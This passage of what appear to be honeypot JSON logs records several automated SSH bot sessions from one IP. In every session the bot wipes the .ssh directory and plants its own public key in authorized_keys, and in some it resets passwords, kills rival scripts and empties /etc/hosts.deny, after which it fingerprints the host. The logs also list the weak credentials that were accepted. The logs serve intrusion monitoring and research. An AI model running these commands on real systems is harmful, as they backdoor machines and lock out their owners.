-l"},{"seq":20,"at":"2026-08-27T01:10:38.684369+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:10:39.408016+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:10:39.801683+00:00","kind":"output","latency_ms":null,"data":"top - 01:10:39 up 6 days, 22:00, 0 user, load average: 0.13, 0.15, 0.09\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:10:40.550128+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:10:40.943504+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:10:41.468712+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:10:42.154784+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:10:42.673374+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:10:43.088873+00:00","kind":"output","latency_ms":null,"data":"docker"},{"seq":29,"at":"2026-08-27T01:10:43.750175+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:10:44.812375+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:10:45.324663+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:10:46.677906+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"docker","password":"Aa123456","method":"password","accepted":true,"tier":"other"}]} {"id":"575f8bc6-f8c8-4f63-925f-1e744944f020","name":"slender-dewy-woodcock","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":33074,"username":"ashish","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":550,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:07:49.458024+00:00","ended_at":"2026-08-27T01:07:50.570753+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2237,"events":[{"seq":1,"at":"2026-08-27T01:07:24.457717+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:07:25.026521+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:07:31.526624+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:07:31.817961+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:07:32.366766+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ashish123\\nWpnIxXLmQTQR\\nWpnIxXLmQTQR\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:07:32.926912+00:00","kind":"input","latency_ms":null,"data":"echo \"ashish123\\nWpnIxXLmQTQR\\nWpnIxXLmQTQR\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:07:33.469714+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:07:34.114609+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:07:34.747197+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:07:36.078748+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:07:36.627105+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:07:38.012159+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:07:38.572650+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:07:39.088525+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:07:39.639071+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:07:39.927215+00:00","kind":"output","latency_ms":null,"data":" 01:07:39 up 6 days, 21:57, 0 user, load average: 0.06, 0.07, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:07:40.477620+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:07:40.783660+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:07:41.334530+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:07:42.032308+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:07:42.576137+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:07:42.963567+00:00","kind":"output","latency_ms":null,"data":"top - 01:07:42 up 6 days, 21:57, 0 user, load average: 0.06, 0.07, 0.04\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:07:43.513654+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:07:44.197487+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:07:44.746539+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:07:45.485502+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:07:46.039166+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:07:46.878427+00:00","kind":"output","latency_ms":null,"data":"ashish"},{"seq":29,"at":"2026-08-27T01:07:47.430554+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:07:48.907076+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:07:49.458705+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:07:50.397871+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ashish","password":"ashish123","method":"password","accepted":true,"tier":"other"}]} {"id":"633faf4c-a0a3-4be5-b02f-5141979685ad","name":"dapper-nimble-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":56552,"username":"root2","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":547,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:04:49.081590+00:00","ended_at":"2026-08-27T01:04:50.555496+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2270,"events":[{"seq":1,"at":"2026-08-27T01:04:22.438612+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:04:23.195912+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:04:30.782509+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:04:31.109418+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:04:31.662683+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lAjDvNHLtbCD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T01:04:32.201076+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T01:04:32.752809+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:04:33.323416+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:04:33.862890+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:04:35.227205+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:04:35.774784+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:04:36.808040+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:04:37.368093+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:04:38.035440+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:04:38.573471+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:04:39.408675+00:00","kind":"output","latency_ms":null,"data":" 01:04:39 up 6 days, 21:54, 0 user, load average: 0.1, 0.09, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:04:39.963365+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:04:40.489538+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:04:41.025198+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:04:41.867282+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:04:42.403387+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:04:43.188860+00:00","kind":"output","latency_ms":null,"data":"top - 01:04:43 up 6 days, 21:54, 0 user, load average: 0.1, 0.09, 0.07\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:04:43.737769+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:04:44.167370+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:04:44.704731+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:04:45.013459+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:04:45.874515+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:04:46.611223+00:00","kind":"output","latency_ms":null,"data":"root2"},{"seq":29,"at":"2026-08-27T01:04:47.149564+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:04:48.530909+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:04:49.082300+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:04:50.386785+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root2","password":"root2","method":"password","accepted":true,"tier":"other"}]} {"id":"53ff8ccc-cf47-4170-a33c-af3e7ec1aa6f","name":"upland-hushed-sloth","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":52344,"username":"es","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":515,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:01:44.923784+00:00","ended_at":"2026-08-27T01:01:46.412093+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2205,"events":[{"seq":1,"at":"2026-08-27T01:01:15.535273+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:01:16.218810+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:01:25.554293+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:01:26.245859+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:01:26.768137+00:00","kind":"input","latency_ms":null,"data":"echo -e \"es#123\\nJAmOFBdnXY1Z\\nJAmOFBdnXY1Z\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:01:27.334134+00:00","kind":"input","latency_ms":null,"data":"echo \"es#123\\nJAmOFBdnXY1Z\\nJAmOFBdnXY1Z\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:01:27.885122+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:01:28.729521+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:01:29.548049+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:01:31.024750+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:01:31.540965+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:01:33.253162+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:01:33.767821+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:01:34.333405+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:01:34.840256+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:01:35.643603+00:00","kind":"output","latency_ms":null,"data":" 01:01:35 up 6 days, 21:51, 0 user, load average: 0.19, 0.23, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:01:36.164478+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:01:36.796843+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:01:37.305776+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:01:37.957630+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:01:38.516092+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:01:39.199433+00:00","kind":"output","latency_ms":null,"data":"top - 01:01:39 up 6 days, 21:51, 0 user, load average: 0.19, 0.23, 0.16\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:01:39.775090+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:01:40.186290+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:01:40.701717+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:01:41.148081+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:01:41.656178+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:01:42.443880+00:00","kind":"output","latency_ms":null,"data":"es"},{"seq":29,"at":"2026-08-27T01:01:42.993963+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:01:44.409695+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:01:44.924684+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:01:46.249277+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"es","password":"es#123","method":"password","accepted":true,"tier":"other"}]} {"id":"8bb1840d-1c97-4d2c-b932-11905850fd71","name":"windswept-civil-francolin","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":43432,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":555,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:58:29.699246+00:00","ended_at":"2026-08-27T00:58:31.016165+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T00:58:03.176029+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:58:03.734419+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:58:12.571921+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:58:13.051858+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:58:13.609043+00:00","kind":"input","latency_ms":null,"data":"echo \"root:38GEfiVqaLLq\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:58:14.170501+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:58:14.824404+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:58:15.146730+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:58:15.718213+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:58:16.623849+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:58:17.286864+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:58:18.572782+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:58:19.128859+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:58:19.604734+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:58:20.162593+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:58:21.058254+00:00","kind":"output","latency_ms":null,"data":" 00:58:21 up 6 days, 21:48, 0 user, load average: 0.11, 0.11, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:58:21.615140+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:58:22.186640+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:58:22.737789+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:58:22.996672+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:58:23.544543+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:58:24.001645+00:00","kind":"output","latency_ms":null,"data":"top - 00:58:23 up 6 days, 21:48, 0 user, load average: 0.11, 0.11, 0.1\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:58:24.547054+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:58:25.390795+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:58:25.936118+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:58:26.248156+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:58:26.800130+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:58:27.285817+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:58:27.842546+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:58:29.151073+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:58:29.700296+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:58:30.847072+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"tianyu@123","method":"password","accepted":true,"tier":"other"}]} 